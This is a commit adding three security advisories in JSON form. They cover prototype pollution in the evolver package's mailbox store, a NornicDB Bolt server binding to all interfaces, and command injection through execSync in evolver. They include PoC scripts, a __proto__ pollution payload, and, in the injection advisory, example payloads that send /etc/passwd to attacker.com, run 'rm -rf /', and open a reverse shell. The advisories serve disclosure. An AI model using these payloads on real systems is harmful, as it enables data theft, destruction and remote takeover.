Skip to content

Commit 410e19a

Browse files
1 parent c0e0f97 commit 410e19a

4 files changed

Lines changed: 228 additions & 0 deletions

File tree

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-2cjr-5v3h-v2w4",
4+
"modified": "2026-04-22T22:05:28Z",
5+
"published": "2026-04-22T22:05:28Z",
6+
"aliases": [],
7+
"summary": "Evolver has Prototype Pollution via `Object.assign()` in its mailbox store operations",
8+
"details": "### Summary\nA prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into `Object.prototype`. The vulnerability exists in the `_applyUpdate()` and `_updateRecord()` functions which use `Object.assign()` to merge user-controlled data without filtering dangerous keys like `__proto__`, `constructor`, or `prototype`.\n\n### Details\nThe vulnerability exists in `src/proxy/mailbox/store.js` at lines 123 and 145:\n\n```javascript\n// src/proxy/mailbox/store.js:115-128\n_applyUpdate(row) {\n if (row._op === 'update') {\n const existing = this._index[row.id];\n // VULNERABLE: Direct Object.assign without key filtering\n if (existing) Object.assign(existing, row.fields);\n else this._index[row.id] = row.fields;\n }\n // ...\n}\n\n// src/proxy/mailbox/store.js:138-150\n_updateRecord(id, fields) {\n const existing = this._index[id];\n // VULNERABLE: Direct Object.assign without key filtering\n if (existing) Object.assign(existing, fields);\n // ...\n}\n```\n\nThe vulnerability can be triggered when an attacker has the ability to write to the `messages.jsonl` file (used for mailbox persistence). By crafting a malicious JSONL entry with `__proto__` as a field key, the attacker can pollute the prototype of all objects.\n\nThe data flows from:\n1. `messages.jsonl` file → \n2. `readLines()` function (line 47) → \n3. `_rebuildIndex()` (line 113) → `_applyUpdate()` (line 121) → \n4. `Object.assign()` pollutes prototype\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to write to the mailbox messages file\n\n**Steps to reproduce:**\n\n1. Create a test file demonstrating the vulnerability:\n\n```javascript\n// test-prototype-pollution.js\nconst fs = require('fs');\nconst path = require('path');\n\n// Simulate the vulnerable Store class logic\nclass VulnerableStore {\n constructor(filePath) {\n this.filePath = filePath;\n this._index = {};\n }\n\n load() {\n if (!fs.existsSync(this.filePath)) return;\n const lines = fs.readFileSync(this.filePath, 'utf8').split('\\n');\n for (const line of lines) {\n if (!line.trim()) continue;\n try {\n const row = JSON.parse(line);\n this._applyUpdate(row);\n } catch (e) {\n // Ignore parse errors\n }\n }\n }\n\n _applyUpdate(row) {\n if (row._op === 'update') {\n const existing = this._index[row.id];\n // VULNERABLE: No filtering of dangerous keys\n if (existing) Object.assign(existing, row.fields);\n else this._index[row.id] = row.fields;\n }\n }\n\n update(id, fields) {\n this._updateRecord(id, fields);\n }\n\n _updateRecord(id, fields) {\n const existing = this._index[id];\n // VULNERABLE: No filtering of dangerous keys\n if (existing) Object.assign(existing, fields);\n else this._index[id] = fields;\n }\n}\n\n// Test the vulnerability\nconsole.log('=== Testing Prototype Pollution ===\\n');\n\n// Create a malicious messages.jsonl file\nconst maliciousContent = JSON.stringify({\n _op: 'update',\n id: 'msg-123',\n fields: {\n __proto__: {\n polluted: true,\n isAdmin: true\n },\n normalField: 'normalValue'\n }\n}) + '\\n';\n\nconst testDir = '/tmp/evolver-pollution-test';\nif (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true });\nconst testFile = path.join(testDir, 'messages.jsonl');\n\nfs.writeFileSync(testFile, maliciousContent);\nconsole.log('Created malicious messages.jsonl');\n\n// Load the store (this triggers the vulnerability)\nconst store = new VulnerableStore(testFile);\nstore.load();\n\n// Check if prototype was polluted\nconsole.log('\\n=== Checking for prototype pollution ===');\nconst testObj = {};\nconsole.log('testObj.polluted:', testObj.polluted);\nconsole.log('testObj.isAdmin:', testObj.isAdmin);\n\nif (testObj.polluted === true) {\n console.log('\\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!');\n console.log('All objects now have \"polluted\" and \"isAdmin\" properties.');\n} else {\n console.log('\\n🟡 Prototype pollution may require different payload structure');\n}\n\n// Demonstrate impact - bypassing authentication check\nconsole.log('\\n=== Impact Demonstration ===');\nfunction checkAdmin(user) {\n // Typical pattern that would be vulnerable\n if (user.isAdmin) {\n return 'Access granted - Admin privileges';\n }\n return 'Access denied';\n}\n\nconst regularUser = { name: 'normal_user' };\nconsole.log('Regular user check:', checkAdmin(regularUser));\n\n// Cleanup\nfs.rmSync(testDir, { recursive: true });\n```\n\n2. Run the test:\n```bash\nnode test-prototype-pollution.js\n```\n\n**Expected output:**\n```\n=== Checking for prototype pollution ===\ntestObj.polluted: true\ntestObj.isAdmin: true\n\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!\nAll objects now have \"polluted\" and \"isAdmin\" properties.\n\n=== Impact Demonstration ===\nRegular user check: Access granted - Admin privileges\n```\n\n**Note:** Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like `constructor.prototype.isAdmin`.\n\n**Attack scenario:**\nIf an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can:\n```jsonl\n{\"_op\":\"update\",\"id\":\"malicious\",\"fields\":{\"__proto__\":{\"isAdmin\":true,\"canExecuteArbitraryCode\":true}}}\n```\n\n### Impact\nThis is a **Prototype Pollution** vulnerability that can lead to:\n- Property injection affecting all JavaScript objects\n- Authentication/authorization bypass\n- Application logic manipulation\n- Denial of service via prototype corruption\n- Potential remote code execution if polluted properties affect security-critical code paths\n\n**Attack requirements:** The attacker needs write access to the `messages.jsonl` file. This could be achieved through:\n- File upload vulnerabilities\n- Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command)\n- Compromised backup files\n- Shared hosting environments\n\n**Affected users:** Anyone using the mailbox functionality in multi-user environments or with persistent message storage.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "@evomap/evolver"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "1.69.3"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/EvoMap/evolver"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-1321"
49+
],
50+
"severity": "MODERATE",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-04-22T22:05:28Z",
53+
"nvd_published_at": null
54+
}
55+
}
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-2hp7-65r3-wv54",
4+
"modified": "2026-04-22T22:03:43Z",
5+
"published": "2026-04-22T22:03:43Z",
6+
"aliases": [],
7+
"summary": "NornicDB has Improper Network Binding in its Bolt Server, allowing unauthorized remote access",
8+
"details": "## Summary\n\nThe `--address` CLI flag (and `NORNICDB_ADDRESS` / `server.host` config key) is plumbed through to the HTTP server correctly but **never reaches the Bolt server config**. The Bolt listener therefore always binds to the wildcard address (all interfaces), regardless of what the user configures.\n\nOn a LAN, this exposes the graph database — with its default `admin:password` credentials — to any device sharing the network.\n\n## Version\n\n- `nornicdb v1.0.39`\n- Built from commit `afe7c9d` on `main`\n- Platform: macOS (darwin 25.4.0, arm64)\n\n## Reproduction\n\n```\n$ nornicdb serve --address 127.0.0.1 --bolt-port 7687 --http-port 7474 ...\n```\n\nOutput claims Bolt is on localhost:\n```\nBolt server listening on bolt://localhost:7687\n```\n\nBut the actual socket:\n```\n$ netstat -an -p tcp | grep 7687\ntcp46 0 0 *.7687 *.* LISTEN\n\n$ lsof -iTCP:7687 -sTCP:LISTEN -n -P\nnornicdb ... IPv6 ... TCP *:7687 (LISTEN)\n```\n\nHTTP port is correctly bound:\n```\ntcp4 127.0.0.1.7474 *.* LISTEN\n```\n\nReachable from another host on the LAN:\n```\n$ nc -z 192.168.x.y 7687\nConnection to 192.168.x.y port 7687 [tcp/*] succeeded!\n```\n\nSetting `NORNICDB_BOLT_ADDRESS=127.0.0.1` or `server.host: \"127.0.0.1\"` in `config.yaml` has **no effect** on the Bolt listener.\n\n## Root Cause\n\nIn `pkg/bolt/server.go:774-776`:\n\n```go\nfunc (s *Server) ListenAndServe() error {\n addr := fmt.Sprintf(\":%d\", s.config.Port)\n listener, err := net.Listen(\"tcp\", addr)\n ...\n}\n```\n\n`bolt.Config` (line 474) has no `Host`/`Address`/`Addr` field — only `Port`. The CLI flag `--address` is stored in a local variable in `cmd/nornicdb/main.go:80` and used to format user-facing log output (line 637–644), but is never copied into `boltConfig` at line 600–609 when Bolt is initialized.\n\nSince `ListenAndServe` calls `net.Listen(\"tcp\", \":7687\")` with an empty host, Go binds the wildcard socket on all interfaces.\n\n## Suggested Fix\n\n1. Add a `Host string` field to `bolt.Config` (default `\"127.0.0.1\"`, matching the CLI flag default).\n2. In `cmd/nornicdb/main.go` around line 601, wire it through:\n ```go\n boltConfig.Host = address\n boltConfig.Port = boltPort\n ```\n3. In `pkg/bolt/server.go:775`, use the host:\n ```go\n addr := net.JoinHostPort(s.config.Host, strconv.Itoa(s.config.Port))\n ```\n\n## Security Impact\n\n- Default `admin:password` credentials + wildcard binding = anyone on the same WiFi can issue arbitrary Cypher queries (read, write, delete nodes) against NornicDB instances running with default setup.\n- Users following the README will reasonably assume `--address 127.0.0.1` (the documented default) binds *both* protocols to localhost.\n- Workaround: host-firewall rules (e.g. macOS `pf`) blocking non-loopback → 7687. Not discoverable from the docs.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/orneryd/nornicdb"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "1.0.42-hotfix"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/orneryd/NornicDB/security/advisories/GHSA-2hp7-65r3-wv54"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/orneryd/NornicDB/commit/adce4f9a9fc7b6aada07c0bfa2d737cd7a6efaca"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/orneryd/NornicDB"
48+
},
49+
{
50+
"type": "WEB",
51+
"url": "https://github.com/orneryd/NornicDB/releases/tag/v1.0.42-hotfix"
52+
}
53+
],
54+
"database_specific": {
55+
"cwe_ids": [
56+
"CWE-1392"
57+
],
58+
"severity": "CRITICAL",
59+
"github_reviewed": true,
60+
"github_reviewed_at": "2026-04-22T22:03:43Z",
61+
"nvd_published_at": null
62+
}
63+
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-j5w5-568x-rq53",
4+
"modified": "2026-04-22T22:06:03Z",
5+
"published": "2026-04-22T22:06:03Z",
6+
"aliases": [],
7+
"summary": "Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution",
8+
"details": "### Summary\nA command injection vulnerability in the `_extractLLM()` function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to `execSync()` without proper sanitization, enabling remote code execution when the `corpus` parameter contains shell metacharacters.\n\n### Details\nThe vulnerability exists in `src/gep/signals.js` at lines 260-274:\n\n```javascript\n// src/gep/signals.js:260-274\nfunction _extractLLM(corpus, nodeSecret, hubUrl) {\n // ...\n var url = getHubUrl(hubUrl) + '/gep/extract';\n var postData = JSON.stringify({ corpus_summary: summary });\n \n // VULNERABLE: String concatenation into shell command\n var curlCmd = 'curl -s -m 10 -X POST'\n + ' -H \"Content-Type: application/json\"'\n + ' -H \"Authorization: Bearer ' + nodeSecret + '\"'\n + ' -d ' + JSON.stringify(postData).replace(/'/g, \"'\\\\''\")\n + ' ' + JSON.stringify(url);\n\n // VULNERABLE: Executes shell command\n stdout = execSync(curlCmd, { timeout: 12000, encoding: 'utf8' });\n // ...\n}\n```\n\nThe `corpus` parameter is derived from user input (via `userSnippet` in `extractSignals()` function) and flows through to `_extractLLM()` where it becomes part of the shell command. While `JSON.stringify()` escapes some characters, it does not prevent shell command substitution via `$(...)` syntax when the resulting string is passed to `execSync()`.\n\nThe `extractSignals()` function is called from the main evolution loop in `src/gep/evolver.js`, which processes user snippets and session transcripts.\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to the evolver application\n\n**Steps to reproduce:**\n\n1. Create a test file that simulates the vulnerable code path:\n\n```javascript\n// test-command-injection.js\nconst { execSync } = require('child_process');\n\n// Simulate the vulnerable _extractLLM function\nfunction vulnerableExtractLLM(corpus) {\n const postData = JSON.stringify({ corpus_summary: corpus });\n const curlCmd = 'curl -s -m 10 -X POST'\n + ' -H \"Content-Type: application/json\"'\n + ' -d ' + JSON.stringify(postData).replace(/'/g, \"'\\\\''\")\n + ' http://localhost/test';\n \n console.log('Command that would be executed:');\n console.log(curlCmd);\n console.log('\\n--- Testing command substitution ---');\n \n // Demonstrate that command substitution works\n const testCmd = 'echo ' + JSON.stringify('$(id)');\n console.log('\\nTest with echo:');\n console.log(execSync(testCmd, { encoding: 'utf8' }));\n}\n\n// Payload with command injection\nconst maliciousCorpus = '$(touch /tmp/pwned)';\nvulnerableExtractLLM(maliciousCorpus);\n```\n\n2. Run the test:\n```bash\nnode test-command-injection.js\n```\n\n**Expected result:** The command substitution `$(id)` is executed by the shell, demonstrating that the same technique could be used with `curl` to execute arbitrary commands.\n\n**Actual exploit scenario:**\nIf an attacker can control the `userSnippet` parameter that flows into `extractSignals()` (e.g., via compromised log files or malicious user input), they can inject shell commands like:\n- `$(curl attacker.com/exfil?data=$(cat /etc/passwd))`\n- `$(rm -rf /)`\n- `$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)`\n\n### Impact\nThis is a **Remote Code Execution (RCE)** vulnerability. An attacker who can control input to the `extractSignals()` function (whether through compromised log files, malicious user input, or other vectors) can execute arbitrary shell commands with the privileges of the Node.js process. This could lead to:\n- Full system compromise\n- Data exfiltration\n- Installation of malware/backdoors\n- Lateral movement within the network\n\n**Affected users:** Anyone running the evolver with the GEP (Genetic Evolution Protocol) enabled and processing user-provided content.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "@evomap/evolver"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "1.69.3"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-j5w5-568x-rq53"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/EvoMap/evolver"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-78"
49+
],
50+
"severity": "CRITICAL",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-04-22T22:06:03Z",
53+
"nvd_published_at": null
54+
}
55+
}

0 commit comments

Comments
 (0)